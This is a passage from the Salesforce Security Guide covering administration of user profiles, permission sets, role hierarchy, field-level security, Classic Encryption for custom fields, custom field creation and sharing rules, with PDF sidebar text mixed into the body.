drop-down list, choose a default record type.
These settings are used when defaults are needed for both kinds of accounts, such as when converting leads.
7. Click Save.
Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record types for
opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the picklist values and
default value for the master are available in all accounts.
Note: If your organization uses person accounts, you can view the record type defaults for business accounts and person accounts.
Go to Account Record Type Settings in the profile detail page. Clicking Edit in the Account Record Type Settings is another way
to begin setting record type defaults for accounts.

Assign Page Layouts in the Original Profile User Interface
If you’re already working in an original profile user interface, you can access, view, and edit all page
layout assignments easily in one location.

EDITIONS

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

2. Select a profile.
3. Click View Assignment next to any tab name in the Page Layouts section.
4. Click Edit Assignment.
5. Use the table to specify the page layout for each profile. If your organization uses record types,
a matrix displays a page layout selector for each profile and record type.
• Selected page layout assignments are highlighted.
• Page layout assignments you change are italicized until you save your changes.
6. If necessary, select another page layout from the Page Layout To Use drop-down list
and repeat the previous step for the new page layout.
7. Click Save.

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
Record types available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To assign page layouts in
profiles:
• Manage Profiles and
Permission Sets

Salesforce Security Guide

Profiles

App and System Settings in the Enhanced Profile User Interface
In the enhanced profile user interface, administrators can easily navigate, search, and modify settings
for a single profile. Permissions and settings are organized into pages under app and system
categories, which reflect the rights users need to administer and use app and system resources.

App Settings
Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All
underlying objects, components, data, and configurations remain the same, regardless of the
selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use
the underlying functionality for app-specific tasks. For example, let's say you do most of your work
in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing
campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the
app drop-down to view your campaigns and campaign members.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with the
business processes that the apps enable. For example, customer service agents may need to manage cases, so the “Manage Cases”
permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example,
to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages,
as well as the object and field permissions that allow them to create new time-off requests.
Note: Regardless of the currently selected app, all of a user's permissions are respected. For example, although the “Import Leads”
permission is under the Sales category, a user can import leads even while in the Service app.

System Settings
Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges control a user's
ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example, the “Run Reports” and
“Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All
Data,” a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.

Search in the Enhanced Profile User Interface
To locate an object, tab, permission, or setting name on a profile page, type at least three consecutive
letters in the
Find Settings box. As you type, suggestions for results that match your search
terms appear in a list. Click an item in the list to go to its settings page.
Search terms aren’t case-sensitive. For some categories, you can search for the specific permission
or setting name. For other categories, search for the category name.
Item

Search for

Example

Assigned apps

App name

Type sales in the Find Settings box, then
select Sales from the list.

Objects

Object name

Let’s say you have an Albums custom object.
Type albu, then select Albums.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
The available profile
permissions and settings
vary according to which
Salesforce edition you have.

USER PERMISSIONS
To find permissions and
settings in a profile:
• View Setup and
Configuration

Salesforce Security Guide

Profiles

Item

Search for

Example

• Fields

Parent object name

Let’s say your Albums object contains a Description field. To find
the Description field for albums, type albu, select Albums,
and scroll down to Description under Field Permissions.

Tabs

Tab or parent object name

Type rep, then select Reports.

App and system permissions

Permission name

Type api, then select API Enabled.

All other categories

Category name

To find Apex class access settings, type apex, then select Apex
Class Access. To find custom permissions, type cust, then
select Custom Permissions. And so on.

• Record types
• Page layout assignments

If no results appear in a search:
• Check if the permission, object, tab, or setting you’re searching for is available in the current organization.
• Verify that the item you’re searching for is available for the user license that’s associated with the current profile. For example, a
profile with the High Volume Customer Portal license doesn’t include the “Modify All Data” permission.
• Ensure that your search term contains at least three consecutive characters that match the name of the item you want to find.
• Make sure that you spelled the search term correctly.

Work in the Original Profile Interface
To view a profile on the original profile page, from Setup, enter Profiles in the Quick Find
box, then select Profiles, then select the profile you want.

EDITIONS

On the profile detail page, you can:

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

• Edit the profile
• Create a profile based on this profile
• For custom profiles only, click Delete to delete the profile
Note: You can’t delete a profile that’s assigned to a user, even if the user is inactive.
• View the users who are assigned to this profile
IN THIS SECTION:
Edit Profiles in the Original Profile Interface
Profiles define how users access objects and data and what they can do within the application.
In standard profiles, you can edit a limited number of settings. In custom profiles, you can edit
all available permissions and settings, except the user license.

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Edit Profiles in the Original Profile Interface
Profiles define how users access objects and data and what they can do within the application. In
standard profiles, you can edit a limited number of settings. In custom profiles, you can edit all
available permissions and settings, except the user license.
Note: Editing some permissions can result in enabling or disabling other ones. For example,
enabling “View All Data” enables “Read” for all objects. Likewise, enabling “Transfer Leads”
enables “Read” and “Create” on leads.
Tip: If enhanced profile list views are enabled for your organization, you can change
permissions for multiple profiles from the list view.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select the profile you want to change.

3. On the profile detail page, click Edit.

USER PERMISSIONS
To edit app and system
permissions in profiles:
• Manage Profiles and
Permission Sets
To edit app and system as
well as object and field
permissions in profiles:
• Manage Profiles and
Permission Sets
AND
Customize Application

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Manage Profile Lists
Profiles define how users access objects and data, and what they can do within the application.
When you create users, you assign a profile to each one. To view the profiles in your organization,
from Setup, enter Profiles in the Quick Find box, then select Profiles.

Viewing Enhanced Profile Lists
If enhanced profile list views are enabled for your organization, you can use additional tools to
customize, navigate, manage, and print profile lists.
• Show a filtered list of profiles by selecting a view from the drop-down list.
• Delete a view by selecting it from the drop-down list and clicking Delete.
• Create a list view or edit an existing view.

•

• Create a profile.
• Print the list view by clicking

EDITIONS

Refresh the list view after creating or editing a view by clicking

• Edit permissions directly in the list view.

USER PERMISSIONS

• View or edit a profile by clicking its name.
• Delete a custom profile by clicking Del next to its name.
Note: You can’t delete a profile that’s assigned to a user, even if the user is inactive.

To view profiles, and print
profile lists:
• View Setup and
Configuration
To delete profile list views:
• Manage Profiles and
Permission Sets

Viewing the Basic Profile List
• Create a profile.

To delete custom profiles:
• Manage Profiles and
Permission Sets

• View or edit a profile by clicking its name.
• Delete a custom profile by clicking Del next to its name.

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Edit Multiple Profiles with Profile List Views
If enhanced profile list views are enabled for your organization, you can change permissions in up
to 200 profiles directly from the list view, without accessing individual profile pages.

EDITIONS

Editable cells display a pencil icon ( ) when you hover over the cell, while non-editable cells display
a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears but the setting
is not actually editable.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

Warning: Use care when editing profiles with this method. Because profiles affect a user's
fundamental access, making mass changes may have a widespread effect on users in your
organization.
1. Select or create a list view that includes the profiles and permissions you want to edit.

Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

2. To edit multiple profiles, select the checkbox next to each profile you want to edit.
If you select profiles on multiple pages, Salesforce remembers which profiles are selected.
3. Double-click the permission you want to edit.
For multiple profiles, double-click the permission in any of the selected profiles.
4. In the dialog box that appears, enable or disable the permission.
In some cases, changing a permission may also change other permissions. For example, if
“Customize Application” and “View Setup and Configuration” are disabled and you enable
“Customize Application,” then “View Setup and Configuration” is also enabled. In this case, the
dialog box lists the affected permissions.

USER PERMISSIONS
To edit multiple profiles from
the list view:
• Manage Profiles and
Permission Sets
AND
Customize Application

5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.
Note:
• For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions” permissions.
• If you edit multiple profiles, only those profiles that support the permission you are changing will change. For example, if you
use inline editing to add “Modify All Data” to multiple profiles, but because of its user license the profile doesn't have “Modify
All Data,” the profile won't change.
If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name to open
the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text. To view the error console, you
must have pop-up blockers disabled for the Salesforce domain.
Any changes you make are recorded in the setup audit trail.

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Clone Profiles
Instead of creating profiles, save time by cloning existing profiles and customizing them.
Tip: If you clone profiles to enable certain permissions or access settings, consider using
permission sets. For more information, see Permission Sets. Also, if your profile name contains
more than one word, avoid extraneous spacing. For example, “Acme User” and “Acme User”
are identical other than spacing between “Acme” and “User.” Using both profiles in this case
can result in confusion for admins and users.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. In the Profiles list page, do one of the following:
• Click New Profile, then select an existing profile that’s similar to the one you want to create.
• If enhanced profile list views are enabled, click Clone next to a profile that’s similar to the
one you want to create.
• Click the name of a profile that’s similar to the one you want to create, then in the profile
page, click Clone.

A new profile uses the same user license as the profile it was cloned from.

USER PERMISSIONS

3. Enter a profile name.

To create profiles:
• Manage Profiles and
Permission Sets

4. Click Save.

Viewing a Profile's Assigned Users
To view all users that are assigned to a profile from the profile overview page, click Assigned Users
(in the enhanced profile user interface) or View Users (in the original profile user interface). From
the assigned users page, you can:
• Create one or multiple users
• Reset passwords for selected users
• Edit a user
• View a user's detail page by clicking the name, alias, or username
• View or edit a profile by clicking the profile name
• If Google Apps™ is enabled in your organization, export users to Google and create Google
Apps accounts by clicking Export to Google Apps

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View and Edit Tab Settings in Permission Sets and Profiles
Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set.

EDITIONS

1. From Setup, either:
• Enter Permission Sets in the Quick Find box, then select Permission Sets, or
• Enter Profiles in the Quick Find box, then select Profiles
2. Select a permission set or profile.
3. Do one of the following:
• Permission sets or enhanced profile user interface—In the Find Settings... box, enter the
name of the tab you want and select it from the list, then click Edit.
• Original profile user interface—Click Edit, then scroll to the Tab Settings section.
4. Specify the tab settings.
5. (Original profile user interface only) To reset users’ tab customizations to the tab visibility settings
that you specify, select Overwrite users' personal tab customizations.
6. Click Save.
Note: If Salesforce CRM Content is enabled for your organization but the Salesforce CRM
Content User checkbox isn’t enabled on the user detail page, the Salesforce CRM Content
app has no tabs.

Available in: Salesforce
Classic (not available in all
orgs)
Tab settings available in: All
Editions except
Database.com
Permission sets available in:
Contact Manager,
Professional, Group,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions
Profiles available in:
Professional, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

USER PERMISSIONS
To view tab settings:
• View Setup and
Configuration
To edit tab settings:
• Manage Profiles and
Permission Sets

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Enable Custom Permissions in Profiles
Custom permissions give you a way to provide access to custom processes or apps. After you’ve
created a custom permission and associated it with a process or app, you can enable the permission
in profiles.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. Depending on which user interface you’re using, do one of the following.
• Enhanced profile user interface: Click Custom Permissions, and then click Edit.
• Original profile user interface: In the Enabled Custom Permissions related list, click Edit.
4. To enable custom permissions, select them from the Available Custom Permissions list and
click Add. To remove custom permissions from the profile, select them from the Enabled Custom
Permissions list and click Remove.
5. Click Save.

USER PERMISSIONS
To enable custom
permissions in profiles:
• Manage Profiles and
Permission Sets

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User Role Hierarchy
Salesforce offers a user role hierarchy that you can use with sharing settings to determine the levels
of access that users have to your Salesforce org’s data. Roles within the hierarchy affect access on
key components such as records and reports.
If your organization-wide defaults are more restrictive than Public Read/Write, use role
hierarchy to make records more accessible to users.
Watch a Demo:

Who Sees What: Record Access via the Role Hierarchy (English only)

Users at any role level can view, edit, and report on all data that’s owned by or shared with users
below them in their role hierarchy, unless your org’s sharing model for an object specifies otherwise.
Specifically, in the Organization-Wide defaults related list, you can disable the Grant Access Using
Hierarchies option for a custom object. When disabled, only the record owner and users who are
granted access by the organization-wide defaults receive access to the object’s records.
Roles determine user access to cases, contacts, and opportunities, regardless of who owns those
records. The access level is specified on the Role Edit page. For example, you can set the contact
access so that users in a role can edit all contacts associated with accounts that they own, regardless
of who owns the contacts. And you can set the opportunity access so that users in a role can edit
all opportunities associated with accounts that they own, regardless of who owns the opportunities.
After you share a folder with a role, it’s visible only to users in that role, not to superior roles in the
hierarchy.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To view roles and role
hierarchy:
• View Roles and Role
Hierarchy
To create, edit, and delete
roles:
• Manage Roles
To assign users to roles:
• Manage Internal Users

Share Objects and Fields
Give specific object or field access to selected groups or profiles.
IN THIS SECTION:
Field-Level Security
Field-level security settings let you restrict users’ access to view and edit specific fields.
Sharing Rules
Make automatic exceptions to your organization-wide sharing settings for defined sets of users.
User Sharing
User Sharing enables you to show or hide an internal or external user from another user in your organization.
What Is a Group?
A group consists of a set of users. A group can contain individual users, other groups, or the users in a particular role or territory. It
can also contain the users in a particular role or territory plus all the users below that role or territory in the hierarchy.
Organization-Wide Sharing Defaults
Define the default access level for an object’s records with organization-wide sharing settings. Organization-wide sharing settings
can be set separately for custom objects and many standard objects, including assets, campaigns, cases, and accounts and their
contracts.

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Field-Level Security
Field-level security settings let you restrict users’ access to view and edit specific fields.
Note:

Who Sees What: Field-Level Security (English only)

Watch how you can restrict access to specific fields on a profile-by-profile basis.
Your Salesforce org contains a lot of data, but you probably don’t want every field accessible to
everyone. For example, your payroll manager probably wants to keep salary fields accessible only
to select employees. You can restrict user access in:
• Detail and edit pages
• Related lists

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs)
Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

• List views
• Reports
• Connect Offline
• Email and mail merge templates
• Custom links
• The partner portal
• The Salesforce Customer Portal
• Synchronized data
• Imported data
The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most restrictive
field access settings of the two always applies. For example, you can have a field that’s required in a page layout but is read-only in the
field-level security settings. The field-level security overrides the page layout, so the field remains read-only.
Important: Field-level security doesn’t prevent searching on the values in a field. When search terms match on field values
protected by field-level security, the associated records are returned in the search results without the protected fields and their
values.
You can define field-level security in either of these ways.
• For multiple fields on a single permission set or profile
• For a single field on all profiles
After setting field-level security, you can:
• Create page layouts to organize the fields on detail and edit pages.
Tip: Use field-level security to restrict users’ access to fields, and then use page layouts to organize detail and edit pages within
tabs. This approach reduces the number of page layouts for you to maintain.
• Verify users’ access to fields by checking field accessibility.
• Customize search layouts to set the fields that appear in search results, in lookup dialog search results, and in the key lists on tab
home pages. To hide a field that's not protected by field-level security, omit it from the layout.
Note: Roll-up summary and formula fields are read-only on detail pages and not available on edit pages. They can also be visible
to users even though they reference fields that your users can’t see. Universally required fields appear on edit pages regardless of
field-level security.
The relationship group wizard allows you to create and edit relationship groups regardless of field-level security.

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IN THIS SECTION:
Set Field Permissions in Permission Sets and Profiles
Field permissions specify the access level for each field in an object.
Set Field-Level Security for a Single Field on All Profiles
Field Permissions
Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the
setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.
Classic Encryption for Custom Fields
Restrict other Salesforce users from seeing custom text fields you want to keep private. Only users with the permission “View Encrypted
Data” can see data in encrypted custom text fields.

Set Field Permissions in Permission Sets and Profiles
Field permissions specify the access level for each field in an object.

EDITIONS

1. From Setup, either:
• Enter Permission Sets in the Quick Find box, then select Permission Sets,
or
• Enter Profiles in the Quick Find box, then select Profiles
2. Select a permission set or profile.
3. Depending on which interface you're using, do one of the following:
• Permission sets or enhanced profile user interface—In the Find Settings... box, enter the
name of the object you want and select it from the list. Click Edit, then scroll to the Field
Permissions section.
• Original profile user interface—In the Field-Level Security section, click View next to the
object you want to modify, and then click Edit.
4. Specify the field's access level.
5. Click Save.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

USER PERMISSIONS
To set field-level security:
• Manage Profiles and
Permission Sets
AND
Customize Application

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Set Field-Level Security for a Single Field on All Profiles
1. From the management settings for the field’s object, go to the fields area.

EDITIONS

2. Select the field you want to modify.
Available in: Salesforce
Classic (not available in all
orgs)

3. Click View Field Accessibility.
4. Specify the field's access level.

Available in: Professional,
Enterprise, Performance,
Unlimited, and Developer
Editions

USER PERMISSIONS
To set field-level security:
• Manage Profiles and
Permission Sets
AND
Customize Application

Field Permissions
Field permissions specify the access level for each field in an object. In permission sets and the
enhanced profile user interface, the setting labels differ from those in the original profile user
interface and in field-level security pages for customizing fields.
Access Level

Users can read and edit the
field.

Enabled Settings in
Permission Sets and
Enhanced Profile User
Interface

Enabled Settings in
Original Profile and
Field-Level Security
Interfaces

Read and Edit

Visible

Users can read but not edit the Read
field.

Visible and Read-Only

Users can't read or edit the
field.

None

110

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

Salesforce Security Guide

Field-Level Security

Classic Encryption for Custom Fields
Restrict other Salesforce users from seeing custom text fields you want to keep private. Only users
with the permission “View Encrypted Data” can see data in encrypted custom text fields.
Note: This information is about Classic Encryption and not Shield Platform Encryption.
Before you begin working with encrypted custom fields, review these implementation notes,
restrictions, and best practices.

Implementation Notes
• Encrypted fields are encrypted with 128-bit master keys and use the Advanced Encryption
Standard (AES) algorithm. You can archive, delete, and import your master encryption key. To
enable master encryption key management, contact Salesforce.

EDITIONS
Available in: both Salesforce
Classic and Lightning
Experience
Available in: Developer,
Enterprise, Performance,
Unlimited, and
Database.com Editions

• You can use encrypted fields in email templates but the value is always masked regardless of whether you have the “View Encrypted
Data” permission.
• If you have created encrypted custom fields, make sure that your organization has “Require secure connections (HTTPS)” enabled.
• If you have the “View Encrypted Data” permission and you grant login access to another user, the user can see encrypted fields in
plain text.
• Only users with the “View Encrypted Data” permission can clone the value of an encrypted field when cloning that record.
• Only the component supports presenting encrypted fields in Visualforce pages.

Restrictions
Encrypted text fields:
• Cannot be unique, have an external ID, or have default values.
• For leads are not available for mapping to other objects.
• Are limited to 175 characters because of the encryption algorithm.
• Are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
• Cannot be used to define report criteria, but they can be included in report results.
• Are not searchable, but they can be included in search results.
• Are not available for: Connect Offline, Salesforce for Outlook, lead conversion, workflow rule criteria or formulas, formula fields,
outbound messages, default values, and Web-to-Lead and Web-to-Case forms.

Best Practices
• Encrypted fields are editable regardless of whether the user has the “View Encrypted Data” permission. Use validation rules, field-level
security settings, or page layout settings to prevent users from editing encrypted fields.
• You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the user has the
“View Encrypted Data” permission.
• Encrypted field data is not always masked in the debug log. Encrypted field data is masked if the Apex request originates from an
Apex Web service, a trigger, a workflow, an inline Visualforce page (a page embedded in a page layout), or a Visualforce email
template. In other cases, encrypted field data isn’t masked in the debug log, like for example when running Apex from the Developer
Console.

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• Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data type. To
encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store that data, and import
that data into the new encrypted field.
• Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the data
entered matches the mask type selected.
• Use encrypted custom fields only when government regulations require it because they involve more processing and have
search-related limitations.
Note: This page is about Classic Encryption, not Shield Platform Encryption. What's the difference? on page 214

IN THIS SECTION:
Create Custom Fields
Capture your unique business data by storing it in custom fields. When you create a custom field, you configure where you want it
to appear and optionally control security at the field level.

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Create Custom Fields
Capture your unique business data by storing it in custom fields. When you create a custom field,
you configure where you want it to appear and optionally control security at the field level.

EDITIONS

Watch a Demo:

Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience

How to Create a Custom Field in Salesforce

Want to customize Salesforce so it captures all your business data? This short video walks you
through how to create a custom picklist field, from choosing the correct field type to applying field
level security.
Watch a Demo:

How to Add a Custom Field in Salesforce (Lightning Experience)

Want to add and arrange a new field while viewing an individual record for an object? This short
video walks you through creating a picklist field while viewing a contact, and then changing the
page layout for the field.
Before you begin, determine the type of field you want to create.
Note: When your org is close to the limit of 800 custom fields and you delete or create fields,
field creation can fail. The physical delete process reclaims and cleans fields, making them
count temporarily toward the limit. The delete process runs only when the queue is full, so
it can take days or weeks to start. In the meantime, the deleted fields are still counted as part
of the limit. To request immediate deletion of fields, contact Salesforce Support.
1. From the management settings for the object you want to add a field to, go to Fields.
Custom task and event fields are accessible from the object management settings for Activities.
2. Click New.
Tip: On custom objects, you can also set field dependencies and field history tracking in
this section.
3. Choose the type of field and click Next. Consider the following.
• Some data types are available for certain configurations only. For example, the
Master-Detail Relationship option is available for custom objects only when
the custom object doesn’t already have a master-detail relationship.
• Custom settings and external objects allow only a subset of the available data types.
• You can’t add a multi-select picklist, rich text area, or dependent picklist custom field to
opportunity splits.

Available in: Contact
Manager,Essentials, Group,
Professional, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions
Salesforce Connect external
objects are available in:
Developer Edition and for
an extra cost in: Enterprise,
Performance, and
Unlimited Editions
Custom fields aren’t
available on Activities in
Group Edition
Custom settings aren’t
available in Professional
Edition
Layouts aren’t available in
Database.com

USER PERMISSIONS
To create or change custom
fields:
• Customize Application

• Relationship fields count towards custom field limits.
• Additional field types may appear if an AppExchange package using those field types is installed.
• The Roll-Up Summary option is available on certain objects only.
• Field types correspond to API data types.
• If your organization uses Shield Platform Encryption, ensure you understand how to encrypt custom fields using the Shield
Platform Encryption offering.
4. For relationship fields, associate an object with the field and click Next.
5. For indirect lookup relationship fields, select a unique, external ID field on the parent object, and then click Next. The parent field
values are matched against the values of the child indirect lookup relationship field to determine which records are related to each
other.
6. To base a picklist field on a global picklist value set, select the value set to use.

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7. Enter a field label.
Salesforce populates Field Name using the field label. This name can contain only underscores and alphanumeric characters,
and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores. Use the field name for merge fields in custom links, custom s-controls, and when referencing the field
from the API.
Tip: Ensure that the custom field name and label are unique for that object.
• If a standard and custom field have identical names or labels, the merge field displays the custom field value.
• If two custom fields have identical names or labels, the merge field may display an unexpected value.
If you create a field label called Email and a standard field labeled Email already exists, the merge field may be unable
to distinguish between the fields. Adding a character to the custom field name makes it unique. For example, Email2.
8. Enter field attributes and select the appropriate checkboxes to specify whether the field must be populated and what happens if
the record is deleted.
9. For master-detail relationships on custom objects, optionally select Allow reparenting to allow a child record in the master-detail
relationship to be reparented to a different parent record.
10. For relationship fields, optionally create a lookup filter to limit search results for the field. Not available for external objects.
11. Click Next.
12. In Enterprise, Unlimited, Performance, and Developer Editions, specify the field’s access settings for each profile, and click Next.
Access Level

Enabled Settings

Users can read and edit the field.

Visible

Users can read but not edit the field.

Visible and Read-Only

Users can’t read or edit the field.

None

Note:
• When you create a custom field, by default the field isn’t visible or editable for portal profiles, unless the field is universally
required.
13. Choose the page layouts that will display the editable field and click Next.
Field

Location on Page Layout

Normal

Last field in the first two-column section.

Long text area

End of the first one-column section.

User

Bottom of the user detail page.

Universally required

Can’t remove it from page layouts or make read only.

14. For relationship fields, optionally create an associated records related list and add it to page layouts for that object.
• To edit the related list name on page layouts, click Related List Label and enter the new name.

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• To add the related list to customized page layouts, select Append related list to users’ existing personal
customizations.
15. Click Save to finish or Save & New to create more custom fields.
Note: Creating fields may require changing a large number of records at once. To process these changes efficiently, your request
may be queued and you may receive an email notification when the process has completed.
SEE ALSO:
Salesforce Help: Find Object Management Settings

Sharing Rules
Make automatic exceptions to your organization-wide sharing settings for defined sets of users.
Note:

Who Sees What: Record Access via Sharing Rules (English only)

Watch how you can grant access to records using sharing rules.
For example, use sharing rules to extend sharing access to users in public groups, roles, or territories.
Sharing rules can never be stricter than your organization-wide default settings. They simply allow
greater access for particular users.
You can create these types of sharing rules.
Type

Based on

Account sharing rules

Account owner or other criteria, Accounts and their associated
including account record types contracts, opportunities, cases,
or field values
and optionally, contacts and
orders

Account territory sharing rules Territory assignment

Set Default Sharing
Access for

Accounts and their associated
cases, contacts, contracts, and
opportunities

Asset sharing rules

Asset owner or other criteria, Individual assets
including asset record types or
field values

Campaign sharing rules

Campaign owner or other
criteria, including campaign
record types or field values

Case sharing rules

Case owner or other criteria,
Individual cases and associated
including case record types or accounts
field values

Contact sharing rules

Contact owner or other criteria, Individual contacts and
including contact record types associated accounts
or field values

Individual campaigns

115

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Account, asset, and contact
sharing rules are available
in: Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
Account territory, case, lead,
opportunity, order, and
custom object sharing rules
are available in: Enterprise,
Performance, Unlimited,
and Developer Editions
Campaign sharing rules are
available in Enterprise,
Performance, Unlimited,
and Developer Editions and
in Professional Edition for an
additional cost
Record types are available
in Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

Salesforce Security Guide

Sharing Rules

Type

Based on

Set Default Sharing Access for

Custom object sharing rules

Custom object owner or other criteria,
including custom object record types or
field values

Individual custom object records

Data privacy sharing rules

Data privacy record owner or other criteria, Individual data privacy records
including field values. Data privacy records
are based on the Individual object.

Flow interview sharing rules

Flow interview owner or other criteria, such Individual flow interviews
as the pause reason

Lead sharing rules

Lead owner or other criteria, including lead Individual leads
record types or field values

Location sharing rules

Location owner or other criteria

Opportunity sharing rules

Opportunity owner or other criteria,
Individual opportunities and their associated
including opportunity record types or field accounts
values

Order sharing rules

Order owner or other criteria, including
order record types or field values

Individual orders

Product item sharing rules

Product item owner or other criteria

Individual product items

Product request sharing rules

Product request owner only; criteria-based Individual product requests
sharing rules aren’t available

Product transfer sharing rules

Product transfer owner only; criteria-based Individual product transfers
sharing rules aren’t available

Return order sharing rules

Return order owner or other criteria

Service appointment sharing rules

Service appointment owner or other criteria Individual service appointments

Service contract sharing rules

Service contract owner only; criteria-based Individual service contracts
sharing rules aren’t available

Service crew sharing rules

Service crew owner only; criteria-based
sharing rules aren’t available

Individual service crews

Service resource sharing rules

Service resource owner or other criteria

Individual service resources

Service territory sharing rules

Service territory owner or other criteria

Individual service territories

Shipment sharing rules

Shipment owner only; criteria-based sharing Individual shipments
rules aren’t available

Time sheet sharing rules

Time sheet owner only; criteria-based
sharing rules aren’t available

User sharing rules

Group membership or other criteria,
Individual users
including username and whether the user
is active

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Individual return orders

Individual time sheets

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Type

Based on

Set Default Sharing Access for

User provisioning request sharing rules

User provisioning request owner, only;
Individual user provisioning requests
criteria-based sharing rules aren’t available

Work order sharing rules

Work order owner or other criteria, including Individual work orders
work order record types or field values

Work type sharing rules

Work type owner or other criteria

Individual work types

Note:
• You can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public groups.
• Developers can use Apex to programmatically share custom objects (based on record owners, but not other criteria). This does
not apply to User Sharing.

IN THIS SECTION:
Criteria-Based Sharing Rules
Creating Lead Sharing Rules
Creating Account Sharing Rules
Create Account Territory Sharing Rules
Account territory sharing rules are based on territory assignment. You can define up to 300 account territory sharing rules.
Create Contact Sharing Rules
Make automatic exceptions to your contact organization-wide sharing settings for defined sets of users.
Creating Opportunity Sharing Rules
Creating Case Sharing Rules
Creating Campaign Sharing Rules
Creating Custom Object Sharing Rules
Creating User Sharing Rules
Share members of a group to members of another group, or share users based on criteria.
Sharing Rule Categories
Editing Lead Sharing Rules
Editing Account Sharing Rules
Editing Account Territory Sharing Rules
Editing Contact Sharing Rules
Editing Opportunity Sharing Rules
Editing Case Sharing Rules
Editing Campaign Sharing Rules
Editing Custom Object Sharing Rules
Editing User Sharing Rules
Sharing Rule Considerations

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Recalculate Sharing Rules
When you make changes to groups, roles, and territories, sharing rules are reevaluated to add or remove access as necessary.
Asynchronous Parallel Recalculation of Sharing Rules
Speed up sharing rule recalculation by running it asynchronously and in parallel.

Criteria-Based Sharing Rules
Criteria-based sharing rules determine whom to share records with based on field values in records.
For example, let’s say you use a custom object for job applications, with a custom picklist field
named “Department.” A criteria-based sharing rule could share all job applications in which the
Department field is set to “IT” with all IT managers in your organization.
Note:
• Although criteria-based sharing rules are based on values in the records and not the
record owners, a role or territory hierarchy still allows users higher in the hierarchy to
access the records.
• You can’t use Apex to create criteria-based sharing rules. Also, criteria-based sharing
cannot be tested using Apex.
• You can use the SharingRules type in the Metadata API to create criteria-based sharing
rules starting in API version 24.0.
• You can’t include high-volume portal users in sharing rules because they don’t have roles
and can’t be in public groups.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions
Accounts, Opportunities,
Cases, Contacts, and record
types are not available in
Database.com

You can create criteria-based sharing rules for accounts, assets, opportunities, cases, contacts, leads,
campaigns, work orders, and custom objects. You can create up to 50 criteria-based sharing rules per object.
• Record types
• These field types:
– Auto Number
– Checkbox
– Date
– Date/Time
– Email
– Number
– Percent
– Phone
– Picklist
– Text
– Text Area
– URL
– Lookup Relationship (to user ID or queue ID)
Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies “Manager” in a text field
doesn’t share records that have “manager” in the field. To create a rule with several common cases of a word, enter each value
separated by a comma.

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Creating Lead Sharing Rules
Lead sharing rules are based on the record owner or on other criteria, including record type and
certain field values. You can define up to 300 lead sharing rules, including up to 50 criteria-based
sharing rules.
1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups
have been created.
2. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing
Settings.
3. In the Lead Sharing Rules related list, click New.
4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the
user interface. The Rule Name is a unique name used by the API and managed packages.
